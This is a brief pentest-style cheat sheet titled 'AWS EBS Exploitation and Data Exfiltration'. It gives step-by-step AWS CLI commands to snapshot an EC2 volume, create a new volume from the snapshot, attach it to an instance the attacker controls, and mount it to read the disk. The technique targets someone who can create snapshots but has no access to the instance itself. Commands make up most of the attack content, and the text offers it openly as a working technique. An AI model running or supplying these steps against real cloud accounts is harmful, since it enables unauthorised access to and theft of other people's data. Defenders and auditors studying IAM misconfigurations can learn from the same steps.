AWS EBS Exploitation and Data Exfiltration

Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance.

User needs to have IAM permissions on EC2

Maybe we don't have the right to access the instance but have rights to create a snapshot and attach it to another machine.

Steps:

1) Creating a snapshot of a specified volume

aws ec2 create-snapshot --volume VOLUME_ID --description "Example" --profile PROFILE_NAME

2) Listing snapshots

aws ec2 describe-snapshots

3) Creating a volume from a snapshot

aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile PROFILE_NAME

The volume needs to be in the same availability zone as the instance we have access

4) Attaching the volume to an instance

aws ec2 attach-volume --volume-id VOLUME_ID --instance-id INSTANCE_ID --device /dev/sdfd

5) Mounting the volume

sudo mount /dev/sdfd /directory

After mounting, we will have access to the disk